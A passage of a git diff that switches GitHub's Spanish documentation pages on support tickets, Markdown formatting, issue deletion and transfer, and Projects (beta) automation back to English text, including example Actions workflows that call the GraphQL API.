Resolving and closing support tickets -{% data variables.contact.premium_support %} puede considerar un ticket como resuelto después de proporcionar una explicación, recomendación, instrucción de uso, o de solución alternativa, +{% data variables.contact.premium_support %} may consider a ticket solved after providing an explanation, recommendation, usage instructions, or workaround instructions, -Si usas un complemento personalizado o no compatible, módulo o código personalizado, {% data variables.contact.premium_support %} puede pedirte que elimines el complemento, el módulo o el código no compatible mientras intentas resolver el problema. {% data variables.contact.premium_support %} puede considerar el ticket como resuelto si el problema se soluciona cuando se elimina el plug-in, módulo, o código personalizado no compatible. +If you use a custom or unsupported plug-in, module, or custom code, {% data variables.contact.premium_support %} may ask you to remove the unsupported plug-in, module, or code while attempting to resolve the issue. If the problem is fixed when the unsupported plug-in, module, or custom code is removed, {% data variables.contact.premium_support %} may consider the ticket solved. -{% data variables.contact.premium_support %}Puede cerrar los tickets si están fuera del alcance de soporte o si se te ha intentado contactar varias veces sin recibir una respuesta. Si {% data variables.contact.premium_support %} cierra un ticket por no haber recibido respuesta, puedes solicitar que lo reabra. +{% data variables.contact.premium_support %} may close tickets if they're outside the scope of support or if multiple attempts to contact you have gone unanswered. If {% data variables.contact.premium_support %} closes a ticket due to lack of response, you can request that {% data variables.contact.premium_support %} reopen the ticket. {% data reusables.support.receiving-credits %} {% data reusables.support.accessing-premium-content %} -## Leer más +## Further reading -- "[Enviar un ticket](/articles/submitting-a-ticket)" +- "[Submitting a ticket](/articles/submitting-a-ticket)" diff --git a/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md index b1ca69a0dc..a11f87792f 100644 --- a/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md +++ b/translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md @@ -29,8 +29,8 @@ You can indicate emphasis with bold, italic, or strikethrough text in comment fi | Style | Syntax | Keyboard shortcut | Example | Output | | --- | --- | --- | --- | --- | -| Bold | `** **` or `__ __` | command/control + b | `**This is bold text**` | **This is bold text** | -| Italic | `* *` or `_ _` | command/control + i | `*This text is italicized*` | *This text is italicized* | +| Bold | `** **` or `__ __`| command/control + b | `**This is bold text**` | **This is bold text** | +| Italic | `* *` or `_ _`     | command/control + i | `*This text is italicized*` | *This text is italicized* | | Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ | | Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** | | All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** | diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md index 5903b8ec24..a23f051cf7 100644 --- a/translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md +++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md @@ -1,6 +1,6 @@ --- -title: Eliminar una propuesta -intro: Los usuarios con permisos de administración en un repositorio determinado pueden eliminar una propuesta de manera permanente de ese repositorio. +title: Deleting an issue +intro: People with admin permissions in a repository can permanently delete an issue from a repository. redirect_from: - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/deleting-an-issue - /articles/deleting-an-issue @@ -14,17 +14,17 @@ versions: topics: - Pull requests --- +You can only delete issues in a repository owned by your user account. You cannot delete issues in a repository owned by another user account, even if you are a collaborator there. -Solo puedes eliminar una propuesta en un repositorio que sea propiedad de tu cuenta de usuario. No puedes eliminar una propuesta en un repositorio que sea propiedad de otra cuenta de usuario, aun si eres una colaborador de esa cuenta. +To delete an issue in a repository owned by an organization, an organization owner must enable deleting an issue for the organization's repositories, and you must have admin or owner permissions in the repository. For more information, see "[Allowing people to delete issues in your organization](/articles/allowing-people-to-delete-issues-in-your-organization)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -Para eliminar una propuesta en un repositorio que sea propiedad de una organización, un propietario de la organización debe habilitar la eliminación de una propuesta para los repositorios de la organización, y tú debes tener permisos de propietario o de administración en ese repositorio. For more information, see "[Allowing people to delete issues in your organization](/articles/allowing-people-to-delete-issues-in-your-organization)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +Collaborators do not receive a notification when you delete an issue. When visiting the URL of a deleted issue, collaborators will see a message stating that the issue is deleted. People with admin or owner permissions in the repository will additionally see the username of the person who deleted the issue and when it was deleted. -Los colaboradores no reciben una notificación cuando eliminas una propuesta. Cuando visiten la URL de una propuesta que ha sido eliminada, los colaboradores verán un mensaje que dice que la propuesta se ha eliminado. Los usuarios con permisos de propietario o de administración en el repositorio verán también el nombre de usuario de la persona que eliminó la propuesta y la fecha en que se la eliminó. +1. Navigate to the issue you want to delete. +2. On the right side bar, under "Notifications", click **Delete issue**. +!["Delete issue" text highlighted on bottom of the issue page's right side bar](/assets/images/help/issues/delete-issue.png) +4. To confirm deletion, click **Delete this issue**. -1. Dirígete a la propuesta que deseas eliminar. -2. En la barra lateral derecha, debajo de "Notificaciones", da clic en **Borrar informe de problemas**. ![Texto de "Borrar informe de problemas" resaltado al final de la barra lateral derecha de la página del informe de problemas](/assets/images/help/issues/delete-issue.png) -4. Para confirmar la eliminación, haz clic en **Eliminar esta propuesta**. +## Further reading -## Leer más - -- "[Enlazar una solicitud de extracción a un informe de problemas](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)" +- "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)" diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md index e961ea1062..ad7784c38b 100644 --- a/translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md +++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md @@ -1,6 +1,6 @@ --- -title: Transferir una propuesta a otro repositorio -intro: 'Para mover una propuesta a un repositorio al que mejor se ajuste, puedes transferir propuestas abiertas a otros repositorios.' +title: Transferring an issue to another repository +intro: 'To move an issue to a better fitting repository, you can transfer open issues to other repositories.' redirect_from: - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/transferring-an-issue-to-another-repository - /articles/transferring-an-issue-to-another-repository @@ -13,18 +13,17 @@ versions: ghec: '*' topics: - Pull requests -shortTitle: Transferir una propuesta +shortTitle: Transfer an issue --- - To transfer an open issue to another repository, you must have write access to the repository the issue is in and the repository you're transferring the issue to. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -Solo puedes transferir propuestas entre repositorios que son propiedad del mismo usuario o de la misma cuenta de la organización. {% ifversion fpt or ghes or ghec %}No puedes transferir una propuesta desde un repositorio privado hacia un repositorio público.{% endif %} +You can only transfer issues between repositories owned by the same user or organization account. {% ifversion fpt or ghes or ghec %}You can't transfer an issue from a private repository to a public repository.{% endif %} -Cuando transfieres un informe de problemas, se retendrá tanto los comentarios como las personas asignadas. No se retendrán los hitos y etiquetas de la propuesta. Esta propuesta se mantendrá en cualquier tablero de proyecto que pertenezca al usuario o que se encuentre en la organización y se eliminará de cualquier tablero de proyecto de los repositorios. Para obtener más información, consulta "[Acerca de los tableros de proyectos](/articles/about-project-boards)." +When you transfer an issue, comments and assignees are retained. The issue's labels and milestones are not retained. This issue will stay on any user-owned or organization-wide project boards and be removed from any repository project boards. For more information, see "[About project boards](/articles/about-project-boards)." -Las personas o equipos que se mencionan en la propuesta recibirán una notificación que les haga saber que la propuesta se transfirió a un repositorio nuevo. La URL original se redirige a la URL nueva de la propuesta. Las personas que no tengan permisos de lectura en el repositorio nuevo verán un anuncio que les hará saber que la propuesta se transfirió a un repositorio nuevo al que no pueden acceder. +People or teams who are mentioned in the issue will receive a notification letting them know that the issue has been transferred to a new repository. The original URL redirects to the new issue's URL. People who don't have read permissions in the new repository will see a banner letting them know that the issue has been transferred to a new repository that they can't access. -## Transferir una propuesta abierta a otro repositorio +## Transferring an open issue to another repository {% include tool-switcher %} @@ -32,10 +31,13 @@ Las personas o equipos que se mencionan en la propuesta recibirán una notificac {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} -3. En la lista de propuestas, haz clic en la propuesta que quieres transferir. -4. En la barra lateral derecha, haz clic en **Transfer issue** (Transferir propuesta). ![Botón para transferir propuesta](/assets/images/help/repository/transfer-issue.png) -5. Utiliza el menú desplegable **Choose a repository** (Elegir un repositorio) y selecciona el repositorio al que quieres transferir la propuesta. ![Elige una selección de repositorio](/assets/images/help/repository/choose-a-repository.png) -6. Haz clic en **Transfer issue** (Transferir propuesta). ![Botón Transfer issue (Transferir propuesta)](/assets/images/help/repository/transfer-issue-button.png) +3. In the list of issues, click the issue you'd like to transfer. +4. In the right sidebar, click **Transfer issue**. +![Button to transfer issue](/assets/images/help/repository/transfer-issue.png) +5. Use the **Choose a repository** drop-down menu, and select the repository you want to transfer the issue to. +![Choose a repository selection](/assets/images/help/repository/choose-a-repository.png) +6. Click **Transfer issue**. +![Transfer issue button](/assets/images/help/repository/transfer-issue-button.png) {% endwebui %} @@ -43,7 +45,7 @@ Las personas o equipos que se mencionan en la propuesta recibirán una notificac {% data reusables.cli.cli-learn-more %} -Para transferir una propuesta, utiliza el subcomando `gh issue transfer`. Reemplaza el parámetro `issue` con el número o URL de la propuesta. Reemplaza el parámetro `{% ifversion ghes %}hostname/{% endif %}owner/repo` con {% ifversion ghes %}la URL{% else %}el nombre{% endif %} del repositorio al que quieras transferir la propuesta, tal como `{% ifversion ghes %}https://ghe.io/{% endif %}octocat/octo-repo`. +To transfer an issue, use the `gh issue transfer` subcommand. Replace the `issue` parameter with the number or URL of the issue. Replace the `{% ifversion ghes %}hostname/{% endif %}owner/repo` parameter with the {% ifversion ghes %}URL{% else %}name{% endif %} of the repository that you want to transfer the issue to, such as `{% ifversion ghes %}https://ghe.io/{% endif %}octocat/octo-repo`. ```shell gh issue transfer issue {% ifversion ghes %}hostname/{% endif %}owner/repo @@ -51,8 +53,8 @@ gh issue transfer issue {% ifversion ghes %}hostname/{% endif %}own {% endcli %} -## Leer más +## Further reading -- "[Acerca de las propuestas](/articles/about-issues)" -- "[Revisar tu registro de seguridad](/articles/reviewing-your-security-log)" -- "[Revisar el registro de auditoría para tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)" +- "[About issues](/articles/about-issues)" +- "[Reviewing your security log](/articles/reviewing-your-security-log)" +- "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)" diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md index 794e61a4cd..45ac72dd0d 100644 --- a/translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md +++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md @@ -1,6 +1,6 @@ --- -title: Ver todas tus propuestas y solicitudes de extracción -intro: 'Los tableros de propuestas y solicitudes de extracción enumeran las propuestas y solicitudes de extracción abiertas que has creado. Puedes utilizarlos para actualizar los elementos que se han puesto en espera, que has cerrado o que mantienes un registro de dónde has sido mencionado a lo largo de todos los repositorios (incluidos aquellos en los que no estás suscrito).' +title: Viewing all of your issues and pull requests +intro: 'The Issues and Pull Request dashboards list the open issues and pull requests you''ve created. You can use them to update items that have gone stale, close them, or keep track of where you''ve been mentioned across all repositories—including those you''re not subscribed to.' redirect_from: - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/viewing-all-of-your-issues-and-pull-requests - /articles/viewing-all-of-your-issues-and-pull-requests @@ -14,15 +14,16 @@ versions: topics: - Pull requests - Issues -shortTitle: Ver todas tus propuestas & solicitudes de cambio +shortTitle: View all your issues & PRs type: how_to --- +Your issues and pull request dashboards are available at the top of any page. On each dashboard, you can filter the list to find issues or pull requests you created, that are assigned to you, or in which you're mentioned. You can also find pull requests that you've been asked to review. -Tus tableros de propuestas y solicitudes de extracción están disponibles en la parte superior de cualquier página. En cada tablero, puedes filtrar la lista para encontrar propuestas y solicitudes de extracción que creaste, que están asignadas a ti o en las cuales estás mencionado. También puedes encontrar solicitudes de extracción que te han pedido que revises. +1. At the top of any page, click **Pull requests** or **Issues**. + ![The global pull requests and issues dashboards](/assets/images/help/overview/issues_and_pr_dashboard.png) +2. Optionally, choose a filter or [use the search bar to filter for more specific results](/articles/using-search-to-filter-issues-and-pull-requests). + ![List of pull requests with the "Created" filter selected](/assets/images/help/overview/pr_dashboard_created.png) -1. En la partes superior de cualquier página, haz clic en **Pull requests (Solicitudes de extracción)** o **Issues (Propuestas)**. ![Tableros de solicitudes de extracción o propuestas globales](/assets/images/help/overview/issues_and_pr_dashboard.png) -2. Como alternativa, elige un filtro o [utiliza la barra de búsqueda para filtrar resultados más específicos](/articles/using-search-to-filter-issues-and-pull-requests). ![Lista de solicitudes de extracción con el filtro "Created" (Creado) seleccionado](/assets/images/help/overview/pr_dashboard_created.png) - -## Leer más +## Further reading - {% ifversion fpt or ghes or ghae or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions#reviewing-repositories-that-youre-watching){% else %}"[Listing the repositories you're watching](/github/receiving-notifications-about-activity-on-github/listing-the-repositories-youre-watching){% endif %}" diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md index 146ea0796d..8101704c81 100644 --- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md +++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md @@ -1,6 +1,6 @@ --- -title: Acerca de los proyectos (beta) -intro: 'Los proyectos son una herramienta flexible y personalizable para planear y rastrear el trabajo en {% data variables.product.company_short %}.' +title: About projects (beta) +intro: 'Projects are a customizable, flexible tool for planning and tracking work on {% data variables.product.company_short %}.' allowTitleToDifferFromFilename: true miniTocMaxHeadingLevel: 3 versions: @@ -13,52 +13,52 @@ topics: {% data reusables.projects.projects-beta %} -## Acerca de los proyectos +## About projects -Un proyecto es una hoja de cálculo personalizable que se integra con tus propuestas y solicitudes de cambios en {% data variables.product.company_short %}. Puedes personalziar el diseño si filtras, clasificas y agrupas tus propuestas y solicitudes de cambios. También puedes personalizar los campos para rastrear metadatos. Los proyectos son flexibles para que tu equipo pueda trabajar de la misma forma que es mejor para ellos. +A project is a customizable spreadsheet that integrates with your issues and pull requests on {% data variables.product.company_short %}. You can customize the layout by filtering, sorting, and grouping your issues and PRs. You can also add custom fields to track metadata. Projects are flexible so that your team can work in the way that is best for them. -### Mantenerse actualizado +### Staying up-to-date -Tu proyecto se mantiene actualizado automáticamente con la información de {% data variables.product.company_short %}. Cuando cambia una solicitud de cambios o propuesta, tu proyecto refleja dicho cambio. Esta integración también trabaja de ambas formas, así que, cuando cambies la información sobre una solicitud de cambios o propuesta de tu proyecto, esta reflejará la información. +Your project automatically stays up-to-date with the information on {% data variables.product.company_short %}. When a pull request or issue changes, your project reflects that change. This integration also works both ways, so that when you change information about a pull request or issue from your project, the pull request or issue reflects that information. -### Agregar metadatos a tus tareas +### Adding metadata to your tasks -Puedes utilizar los campos personalizados para agregar metadatos a tus tareas. Por ejemplo, puedes rastrear los siguientes metadatos: +You can use custom fields to add metadata to your tasks. For example, you can track the following metadata: -- un campo de fecha para rastrear las fechas de envío destino -- un número de campo para rastrear la complejidad de una tarea -- un campo de selección sencillo para rastrear si una tarea tiene prioridad baja, media o alta -- un campo de texto para agregar una nota rápida +- a date field to track target ship dates +- a number field to track the complexity of a task +- a single select field to track whether a task is Low, Medium, or High priority +- a text field to add a quick note - an iteration field to plan work week-by-week -### Visualizar tu proyecto desde perspectivas diferentes +### Viewing your project from different perspectives -Puedes ver tu proyecto como un diseño de tabla de densidad alta: +You can view your project as a high density table layout: -![Tabla de proyectos](/assets/images/help/issues/projects_table.png) +![Project table](/assets/images/help/issues/projects_table.png) -O como un tablero: +Or as a board: -![Tablero de proyectos](/assets/images/help/issues/projects_board.png) +![Project board](/assets/images/help/issues/projects_board.png) -Para ayudar a que te enfoques en aspectos específicos de tu proyecto, puedes agrupar, clasificar o filtrar elementos: +To help you focus on specific aspects of your project, you can group, sort, or filter items: -![Vista de proyecto](/assets/images/help/issues/project_view.png) +![Project view](/assets/images/help/issues/project_view.png) -Para obtener más información, consulta la sección "[Personalizar las vistas de tu proyecto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)". +For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)." ### Working with the project command palette -You can use the project command palette to quickly change views or add fields. La paleta de comandos te guía para que no necesites memorizar los atajos de teclado personalizados. Para obtener más información, consulta la sección "[Personalizar las vistas de tu proyecto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)". +You can use the project command palette to quickly change views or add fields. The command palette guides you so that you don't need to memorize custom keyboard shortcuts. For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)." -### Automatizar las tareas de administración de proyectos +### Automating project management tasks Projects (beta) offers built-in workflows. For example, when an issue is closed, you can automatically set the status to "Done." You can also use the GraphQL API and {% data variables.product.prodname_actions %} to automate routine project management tasks. For more information, see "[Automating projects](/issues/trying-out-the-new-projects-experience/automating-projects)" and "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)." -## Comparar proyectos (beta) con los proyectos no beta +## Comparing projects (beta) with the non-beta projects -Los proyectos (beta) es una versión nueva y personalizable de proyectos. Para obtener más información sobre la versión no beta de los proyectos, consulta la sección "[Organizar tu trabajo con tableros de proyecto](/issues/organizing-your-work-with-project-boards)". +Projects (beta) is a new, customizable version of projects. For more information about the non-beta version of projects, see "[Organizing your work with project boards](/issues/organizing-your-work-with-project-boards)." -## Compartir retroalimentación +## Sharing feedback -Puedes compartir tu retroalimentación sobre los proyectos (beta) con {% data variables.product.company_short %}. Para unirte a la conversación, consulta el [debate de retroalimentación](https://github.com/github/feedback/discussions/categories/issues-feedback). +You can share your feedback about projects (beta) with {% data variables.product.company_short %}. To join the conversation, see [the feedback discussion](https://github.com/github/feedback/discussions/categories/issues-feedback). diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md index 566a86ca48..108e6a93f4 100644 --- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md +++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md @@ -1,5 +1,5 @@ --- -title: Automatizar proyectos (beta) +title: Automating projects (beta) intro: 'You can use built-in workflows or the API and {% data variables.product.prodname_actions %} to manage your projects.' allowTitleToDifferFromFilename: true miniTocMaxHeadingLevel: 3 @@ -15,7 +15,7 @@ topics: {% data reusables.projects.projects-beta %} -## Introducción +## Introduction You can add automation to help manage your project. Projects (beta) includes built-in workflows that you can configure through the UI. Additionally, you can write custom workflows with the GraphQL API and {% data variables.product.prodname_actions %}. @@ -33,11 +33,11 @@ This section demonstrates how to use the GraphQL API and {% data variables.produ You can copy one of the workflows below and modify it as described in the table below to meet your needs. -Un proyecto puede abarcar repositorios múltiples, pero un flujo de trabajo es específico par aun repositorio. Add the workflow to each repository that you want your project to track. Para obtener más información sobre cómo crear archivos de flujo de trabajo, consulta la sección "[Inicio rápido para las {% data variables.product.prodname_actions %}](/actions/quickstart)". +A project can span multiple repositories, but a workflow is specific to a repository. Add the workflow to each repository that you want your project to track. For more information about creating workflow files, see "[Quickstart for {% data variables.product.prodname_actions %}](/actions/quickstart)." -Este artículo asume que tienes un entendimiento básico de las {% data variables.product.prodname_actions %}. Para obtener más información acerca de {% data variables.product.prodname_actions %}, consulta la sección "[{% data variables.product.prodname_actions %}](/actions)". +This article assumes that you have a basic understanding of {% data variables.product.prodname_actions %}. For more information about {% data variables.product.prodname_actions %}, see "[{% data variables.product.prodname_actions %}](/actions)." -Para obtener más información sobre otros cambios que puedes hacer a tu proyecto a través de la API, consulta la sección "[Utilizar la API para administrar proyectos](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)". +For more information about other changes you can make to your project through the API, see "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)." {% note %} @@ -59,7 +59,7 @@ Para obtener más información sobre otros cambios que puedes hacer a tu proyect 3. Install the {% data variables.product.prodname_github_app %} in your organization. Install it for all repositories that your project needs to access. For more information, see "[Installing {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository)." 4. Store your {% data variables.product.prodname_github_app %}'s ID as a secret in your repository or organization. In the following workflow, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/reference/apps#get-an-app)." 5. Generate a private key for your app. Store the contents of the resulting file as a secret in your repository or organization. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following workflow, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)." -6. In the following workflow, replace `YOUR_ORGANIZATION` with the name of your organization. Por ejemplo, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección `https://github.com/orgs/octo-org/projects/5` tiene "5" como número de proyecto. +6. In the following workflow, replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -120,7 +120,7 @@ jobs: } } }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectNextItem.projectNextItem.id')" - + echo 'ITEM_ID='$item_id >> $GITHUB_ENV - name: Get date @@ -164,9 +164,9 @@ jobs: ### Example workflow authenticating with a personal access token -1. Create a personal access token with `org:write` scope. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)". +1. Create a personal access token with `org:write` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." 2. Save the personal access token as a secret in your repository or organization. -3. En el siguiente flujo de trabajo, reemplaza a `YOUR_TOKEN` con el nombre del secreto. Replace `YOUR_ORGANIZATION` with the name of your organization. Por ejemplo, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección `https://github.com/orgs/octo-org/projects/5` tiene "5" como número de proyecto. +3. In the following workflow, replace `YOUR_TOKEN` with the name of the secret. Replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. ```yaml{:copy} name: Add PR to project @@ -218,7 +218,7 @@ jobs: } } }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectNextItem.projectNextItem.id')" - + echo 'ITEM_ID='$item_id >> $GITHUB_ENV - name: Get date @@ -279,7 +279,7 @@ on: -Este flujo de trabajo se ejecuta cada que una solicitud de cambios en el repositorio se marca como "ready for review". +This workflow runs whenever a pull request in the repository is marked as "ready for review". @@ -332,16 +332,16 @@ env: -Configura las variables para este paso. +Sets environment variables for this step.

                If you are using a personal access token, replace YOUR_TOKEN with the name of the secret that contains your personal access token.

                -Reemplaza YOUR_ORGANIZATION con el nombre de tu organización. Por ejemplo, octo-org. +Replace YOUR_ORGANIZATION with the name of your organization. For example, octo-org.

                -reemplaza YOUR_PROJECT_NUMBER con el número de tu proeycto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección https://github.com/orgs/octo-org/projects/5 tiene "5" como número de proyecto. +Replace YOUR_PROJECT_NUMBER with your project number. To find the project number, look at the project URL. For example, https://github.com/orgs/octo-org/projects/5 has a project number of 5. @@ -368,7 +368,7 @@ gh api graphql -f query=' -Utiliza el {% data variables.product.prodname_cli %} para consultar la API para la ID del proyecto y para la ID, nombre y configuración de los primeros 20 campos en este. La respuesta se almacena en un archivo que se llama project_data.json. +Uses {% data variables.product.prodname_cli %} to query the API for the ID of the project and for the ID, name, and settings for the first 20 fields in the project. The response is stored in a file called project_data.json. @@ -384,12 +384,12 @@ echo 'TODO_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | sele -Analiza la respuesta desde la consulta de la API y almacena las ID relevantes como variables de ambiente. Modifica esto para obtener la ID para los campos u opciones diferentes. Por ejemplo: +Parses the response from the API query and stores the relevant IDs as environment variables. Modify this to get the ID for different fields or options. For example:
                  -
                • Para obtener la ID de un campo llamado Team, agrega echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV.
                  • -
                • Para obtener la ID de una opción llamada Octoteam para el campo Team, agrega echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") |.settings | fromjson.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV
                  • +
                • To get the ID of a field called Team, add echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV.
                  • +
                • To get the ID of an option called Octoteam for the Team field, add echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") |.settings | fromjson.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV
                -Nota: Este flujo de trabajo asume que tienes un proyecto con un campo de selección simple llamado "Status" que incluye una opción llamada "Todo" y un campo de fecha llamado "Date Posted". Debes modificar esta sección para empatar con los campos que están presentes en tu tabla. +Note: This workflow assumes that you have a project with a single select field called "Status" that includes an option called "Todo" and a date field called "Date posted". You must modify this section to match the fields that are present in your table. @@ -414,7 +414,7 @@ env: -Configura las variables para este paso. GITHUB_TOKEN se describe anteriormente. PR_ID es la ID de la solicitud de cambios que activó este flujo de trabajo. +Sets environment variables for this step. GITHUB_TOKEN is described above. PR_ID is the ID of the pull request that triggered this workflow. @@ -435,7 +435,7 @@ item_id="$( gh api graphql -f query=' -Utiliza el {% data variables.product.prodname_cli %} y la API para agrega la solicitud de cambios que activó este flujo de trabajo hacia el proyecto. La bandera jq analiza la respuesta para obtener la ID del elemento creado. +Uses {% data variables.product.prodname_cli %} and the API to add the pull request that triggered this workflow to the project. The jq flag parses the response to get the ID of the created item. @@ -448,7 +448,7 @@ echo 'ITEM_ID='$item_id >> $GITHUB_ENV -Almacena la ID del elemento creado como variable de ambiente. +Stores the ID of the created item as an environment variable. @@ -461,7 +461,7 @@ echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV -Guarda la fecha actual como variable de ambiente en el formato yyyy-mm-dd. +Saves the current date as an environment variable in yyyy-mm-dd format. @@ -484,7 +484,7 @@ env: -Configura las variables para este paso. GITHUB_TOKEN se describe anteriormente. +Sets environment variables for this step. GITHUB_TOKEN is described above. @@ -527,8 +527,8 @@ gh api graphql -f query=' -Configura el valor del campo Status como Todo. Configura el valor del campo Date posted. +Sets the value of the Status field to Todo. Sets the value of the Date posted field. - + \ No newline at end of file diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md index 76d8898f4e..ad79f17b59 100644 --- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md +++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md @@ -1,6 +1,6 @@ --- -title: Mejores prácticas para administrar proyectos (beta) -intro: 'Consejos para administrar tus proyectos en {% data variables.product.company_short %}.' +title: Best practices for managing projects (beta) +intro: 'Learn tips for managing your projects on {% data variables.product.company_short %}.' allowTitleToDifferFromFilename: true miniTocMaxHeadingLevel: 3 versions: @@ -15,47 +15,47 @@ topics: {% data reusables.projects.projects-beta %} -Puedes utilizar proyectos para administrar tu trabajo en {% data variables.product.company_short %}, donde viven tus propuestas y solicitudes de cambios. Lee los tips para administrar tus proyectos de forma eficaz y eficiente. Para obtener más información sobre los proyectos, consulta la sección "[Acerca de los proyectos](/issues/trying-out-the-new-projects-experience/about-projects)". +You can use projects to manage your work on {% data variables.product.company_short %}, where your issues and pull requests live. Read on for tips to manage your projects efficiently and effectively. For more information about projects, see "[About projects](/issues/trying-out-the-new-projects-experience/about-projects)." -## Desglosa las propuestas grandes en unas más pequeñas +## Break down large issues into smaller issues -El desglosar una propuesta grande en propuestas más pequeñas hace el trabajo más administrable y habilita a los miembros del equipo para que trabajen en paralelo. Esto también conlleva a tener solicitudes de cambios más pequeñas, las cuales se pueden revisar con mayor facilidad. +Breaking a large issue into smaller issues makes the work more manageable and enables team members to work in parallel. It also leads to smaller pull requests, which are easier to review. -Para rastrear 